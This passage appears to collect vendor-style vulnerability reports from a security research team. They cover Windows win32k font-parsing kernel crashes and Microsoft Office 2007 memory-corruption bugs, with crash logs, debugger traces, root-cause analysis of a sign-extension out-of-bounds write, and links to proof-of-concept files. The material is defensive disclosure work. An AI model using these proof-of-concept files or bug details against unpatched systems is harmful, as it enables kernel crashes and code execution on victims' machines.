969e3990 91e7594d 0000000a ff7bf000 969e3cd0 win32k!RFONTOBJ::bGetGlyphMetricsPlus+0x179
969e39c8 91efb78b 969e3c1c 969e3c3c 00000008 win32k!ESTROBJ::vCharPos_H3+0xf0
969e3a0c 91e755d0 969e3cd0 0000000a 969e3c1c win32k!ESTROBJ::vInit+0x268
969e3c2c 91e75793 00000000 969e3cd0 fbe0ccf0 win32k!GreGetTextExtentExW+0x12a
969e3d0c 8264f896 0701015e 02bb0bac 0000000a win32k!NtGdiGetTextExtentExW+0x141
969e3d0c 779670f4 0701015e 02bb0bac 0000000a nt!KiSystemServicePostCall
WARNING: Frame IP not in any known module. Following frames may be wrong.
0015f434 00000000 00000000 00000000 00000000 0x779670f4
---
While we have not determined the specific root cause of the vulnerability, we have pinpointed the offending mutations to reside in the "glyf" table.
The issue reproduces on Windows 7 and 8.1. It is easiest to reproduce with Special Pools enabled for win32k.sys (leading to an immediate crash when the bug is triggered), but it is also possible to observe a crash on a default Windows installation in win32k!fsc_RemoveDups or another location in kernel space. In order to reproduce the problem with the provided samples, it might be necessary to use a custom program which displays all of the font's glyphs at various point sizes.
Attached is a proof of concept font file together with the corresponding kernel crash log.
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/37915.zip
Source: https://code.google.com/p/google-security-research/issues/detail?id=402&can=1
We have encountered a Windows kernel crash in the win32k!fsc_BLTHoriz function while processing corrupted TTF font files, such as:
---
DRIVER_PAGE_FAULT_BEYOND_END_OF_ALLOCATION (d6)
N bytes of memory was allocated and more than N bytes are being referenced.
This cannot be protected by try-except.
When possible, the guilty driver's name (Unicode string) is printed on
the bugcheck screen and saved in KiBugCheckDriver.
Arguments:
Arg1: fbde5000, memory referenced
Arg2: 00000001, value 0 = read operation, 1 = write operation
Arg3: 8209f076, if non-zero, the address which referenced memory.
Arg4: 00000000, (reserved)
Debugging Details:
------------------
Could not read faulting driver name
WRITE_ADDRESS: GetPointerFromAddress: unable to read from 8279284c
Unable to read MiSystemVaType memory at 82771f00
fbde5000
FAULTING_IP:
win32k!fsc_BLTHoriz+37
8209f076 0908 or dword ptr [eax],ecx
MM_INTERNAL_CODE: 0
DEFAULT_BUCKET_ID: VISTA_DRIVER_FAULT
BUGCHECK_STR: 0xD6
PROCESS_NAME: csrss.exe
CURRENT_IRQL: 0
LAST_CONTROL_TRANSFER: from 8209c56b to 8209f076
STACK_TEXT:
8943f600 8209c56b fbde4fe0 000000d8 8943f6b8 win32k!fsc_BLTHoriz+0x37
8943f638 820b45f5 fbde4fe0 00000002 fffffffe win32k!fsc_FillBitMap+0xe7
8943f698 820b3eb2 ff6df874 50000061 00000002 win32k!fsc_FillGlyph+0x45e
8943f6e8 820b9ca7 ff6df010 ff6df07c fbc74f24 win32k!fs_ContourScan+0x55d
8943f82c 820aec63 00000014 0000007f 8943f918 win32k!lGetGlyphBitmap+0x179
8943f850 820aeab6 00000000 00000001 0000007f win32k!ttfdQueryFontData+0x158
8943f8a0 820adce2 ff7af010 fbc74cf0 00000001 win32k!ttfdSemQueryFontData+0x45
8943f8e8 820b3774 ff7af010 fbc74cf0 00000001 win32k!PDEVOBJ::QueryFontData+0x3e
8943f960 8212bc8d 8943fc3c fc5e4bd4 ff6d57e8 win32k!xInsertMetricsPlusRFONTOBJ+0x120
8943f990 820a594d 00000008 ff7bf030 8943fcd6 win32k!RFONTOBJ::bGetGlyphMetricsPlus+0x179
8943f9c8 8212b78b 8943fc1c 8943fc3c 00000008 win32k!ESTROBJ::vCharPos_H3+0xf0
8943fa0c 820a55d0 8943fcd0 00000008 8943fc1c win32k!ESTROBJ::vInit+0x268
8943fc2c 820a5793 00000000 8943fcd0 fbc74cf0 win32k!GreGetTextExtentExW+0x12a
8943fd0c 82665896 030102cd 00710bb0 00000008 win32k!NtGdiGetTextExtentExW+0x141
8943fd0c 773f70f4 030102cd 00710bb0 00000008 nt!KiSystemServicePostCall
WARNING: Frame IP not in any known module. Following frames may be wrong.
0027f6cc 00000000 00000000 00000000 00000000 0x773f70f4
---
While we have not determined the specific root cause of the vulnerability, we have pinpointed the offending mutations to reside in the "fpgm", "hmtx" and "maxp" tables.
The issue reproduces on Windows 7 and 8.1. It is easiest to reproduce with Special Pools enabled for win32k.sys (leading to an immediate crash when the bug is triggered), but it is also possible to observe a crash on a default Windows installation in win32k!fsc_RemoveDups or another location in kernel space. Interestingly, the crash occurs in different win32k.sys functions depending on the operating system:
Windows 7 32-bit: win32k!fsc_BLTHoriz
Windows 7 64-bit: win32k!fsc_MeasureGlyph
Windows 8 32-bit: win32k!fsg_CopyFontProgramResults
In order to reproduce the problem with the provided sample, it might be necessary to use a custom program which displays all of the font's glyphs at various point sizes.
Attached is a proof of concept font file together with the corresponding kernel crash log.
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/37914.zip
Source: https://code.google.com/p/google-security-research/issues/detail?id=414&can=1
The following crash was observed in MS Office 2007 running under Windows 2003 x86. Microsoft Office File Validation Add-In is disabled and application verified was enabled for testing and reproduction. This sample did not reproduce in Office 2010 running on Windows 7 x86.
The attached minimized PoC that produces the crash with 2 bit changes from the original file at offsets 0x11E60 and 0x1515F. Standard office document parsers did not reveal any significance about this location.
Attached files:
Fuzzed minimized PoC: 1567070353_min.doc
Fuzzed non-minimized PoC: 1567070353_crash.doc
Original non-fuzzed file: 1567070353_orig.doc
DLL Versions:
mso.dll: 12.0.6721.5000
wwlib.dll: 12.0.6720.5000
Observed Crash:
eax=00000001 ebx=00000004 ecx=0189ff18 edx=00000019 esi=32646a30 edi=0db0eff8
eip=32fbca76 esp=0012bc98 ebp=0012bcb8 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010202
32fbca73 8b7df8 mov edi,dword ptr [ebp-8]
=> 32fbca76 f6470201 test byte ptr [edi+2],1 ds:0023:0db0effa=??
32fbca7a 7419 je mso!Ordinal2690+0x476 (32fbca95)
32fbca7c 833e07 cmp dword ptr [esi],7
32fbca7f 7414 je mso!Ordinal2690+0x476 (32fbca95)
32fbca81 8b4508 mov eax,dword ptr [ebp+8]
32fbca84 6a20 push 20h
32fbca86 ff7010 push dword ptr [eax+10h]
32fbca89 8d4dfc lea ecx,[ebp-4]
32fbca8c 51 push ecx
32fbca8d ff10 call dword ptr [eax]
32fbca8f 8127fffffeff and dword ptr [edi],0FFFEFFFFh
Stack Trace:
0:000> kb 8
ChildEBP RetAddr Args to Child
WARNING: Stack unwind information not available. Following frames may be wrong.
0012bcb8 32fbcdc3 0012be28 0d9f4fe8 00000000 mso!Ordinal2690+0x457
0012bccc 32fbce5b 0012be28 0d9f4fe8 0012be28 mso!Ordinal2690+0x7a4
0012bd20 32fbc93e 0012be28 0d9f4fe8 0ddceeb8 mso!Ordinal2690+0x83c
0012bd74 32fbcd73 0012be28 0d9f4fe8 0db2f45a mso!Ordinal2690+0x31f
0012bd94 316dfe8f 0dbe8e38 0012be28 317e9c10 mso!Ordinal2690+0x754
0012bdb0 317e9aa4 0012be08 00000000 00000000 wwlib!wdCommandDispatch+0xcd37
0012bde4 31980e8d 0012be08 000000b4 038b78bc wwlib!wdCommandDispatch+0x11694c
0012c07c 31980b0f 0db2c9c0 00000000 00000001 wwlib!wdCommandDispatch+0x2add35
In this crash the value being dereferenced in edi is free-ed memory:
0:000> !heap -p -a 0xdb0eff8
address 0db0eff8 found in
_DPH_HEAP_ROOT @ 1151000
in free-ed allocation ( DPH_HEAP_BLOCK: VirtAddr VirtSize)
d9e5240: db0e000 2000
7c83e330 ntdll!RtlFreeHeap+0x0000011a
0189fe9c vfbasics!AVrfpRtlFreeHeap+0x000000f8
331039d5 mso!Ordinal1743+0x00002d4d
329c91d1 mso!MsoFreePv+0x0000003f
329c913c mso!Ordinal519+0x00000017
32a54dcc mso!Ordinal320+0x00000021
32bb6f2e mso!Ordinal379+0x00000eae
There is a 1-bit clear at the location specified by edi shortly after the faulting eip location as well making this an exploitable condition.
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/37913.zip
Source: https://code.google.com/p/google-security-research/issues/detail?id=420&can=1
The following crash was observed in Microsoft Office 2007 with Microsoft Office File Validation Add-In disabled and Application Verifier enabled for testing and reproduction. This bug also reproduced in Office 2010 running on Windows 7 x86.
The crash is caused by a 1 bit delta from the original file at offset 0x4A45. OffViz identified this offset as OLESSRoot.DirectoryEntries[100].OLESSDirectoryEntry[20].sidLeft with an original value of 0x00000000 and a fuzzed value of 0x00008000.
Attached files:
Fuzzed minimized PoC: 1863274449_min.doc
Fuzzed non-minimized PoC: 1863274449_crash.doc
Original non-fuzzed file: 1863274449_orig.doc
DLL Versions:
OGL.dll: 12.0.6719.5000
wwlib.dll: 12.0.6720.5000
GDI32.dll: 5.2.3790.5563
eax=ffff0002 ebx=12b85fd8 ecx=fffff975 edx=fffc0008 esi=ffff8000 edi=12b81f50
eip=3bd186a1 esp=00129f68 ebp=00129f98 iopl=0 nv up ei ng nz na po cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010283
3bd1869c 8bd0 mov edx,eax
3bd1869e c1e202 shl edx,2
OGL!DpOutputSpanStretch<1>::OutputSpan+0x13e:
3bd186a1 890c1a mov dword ptr [edx+ebx],ecx ds:0023:12b45fe0=????????
0:000> kb L8
ChildEBP RetAddr Args to Child
00129f98 3be70c01 0000014c 000001d9 00000267 OGL!DpOutputSpanStretch<1>::OutputSpan+0x13e
00129fcc 3be6f93d 0000014c 000001d9 00000267 OGL!EpAntialiasedFiller::OutputSpan+0x2f
00129ff0 3be70ba0 0000014c 000001d9 00000267 OGL!DpClipRegion::OutputSpan+0x84
0012a010 3be6e30c 0000014c 0012aa38 00000533 OGL!EpAntialiasedFiller::GenerateOutputAndClearCoverage+0x62
0012a038 3be7052c 00000533 000001e6 00000798 OGL!EpAntialiasedFiller::FillEdgesAlternate+0x102
0012a050 3be6f8a0 7fffffff 0012a0ac 00000000 OGL!RasterizeEdges+0xa7
0012ab08 3bd43c10 0012abc0 0012ab3c 3be70d78 OGL!RasterizePath+0x2ce
0012acf4 3be4cd7e 1292eda8 0012ae10 122f2f98 OGL!DpDriver::DrawImage+0x230
In this crash ebx is pointing to valid memory allocated from OGL!DpOutputSpanStretch<1>::InitializeClass with a size of 24. However, the edx value appears to have a sign extension issue leading to an out of bounds write. When eax was moved to edx at 0x3bd1869c eax already appeared to have sign extended value (0xffff0002). Eax is being updated in a loop in this function starting at 0x3bdb94d5. The value originally comes from [edi+9ch]. This will be set to 0xffff0002 on the crashing iteration. The offset at [edi+9ch] is updated at 0x3be18b37 and 0x3be18b49. Tracing back from these writes just a bit further we can step through the crux of the issue during the first loop iteration:
eax=800182ae ebx=000100d7 ecx=8004845a edx=00008005 esi=80008100 edi=128a1f50
eip=3bdb946a esp=00129f68 ebp=00129f98 iopl=0 ov up ei ng nz ac pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000a96
OGL!DpOutputSpanStretch<1>::OutputSpan+0x65:
3bdb946a c1f910 sar ecx,10h
0:000> p
eax=800182ae ebx=000100d7 ecx=ffff8004 edx=00008005 esi=80008100 edi=128a1f50
eip=3bdb946d esp=00129f68 ebp=00129f98 iopl=0 nv up ei ng nz na po cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000283
OGL!DpOutputSpanStretch<1>::OutputSpan+0x68:
3bdb946d c1fe10 sar esi,10h
0:000> p
eax=800182ae ebx=000100d7 ecx=ffff8004 edx=00008005 esi=ffff8000 edi=128a1f50
eip=3bdb9470 esp=00129f68 ebp=00129f98 iopl=0 nv up ei ng nz na pe cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000287
OGL!DpOutputSpanStretch<1>::OutputSpan+0x6b:
3bdb9470 81faffffff7f cmp edx,7FFFFFFFh
The sar instruction applied to ecx and esi will sign extend the values in these registers. If this is allowed to happen there must be a check to ensure that the resulting values are still in range to the allocated heap buffer.
To get your debugger to the correct spot given the attached PoC realize that there are two DpOutputSpanStretch object created before the crash. The first one is of no consequence. The OutputSpan function is also called twice on this new object before entering the crashing state. I suggest using a conditional breakpoint to get to the correct spot:
bp 3bdb946d ".if (@esi & 0x`ffffffff) = 0x`80008100 {} .else{gc}"
This crash is writing to a memory address out-of-bound to the allocated buffer, therefore this is an exploitable vulnerability.
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/37911.zip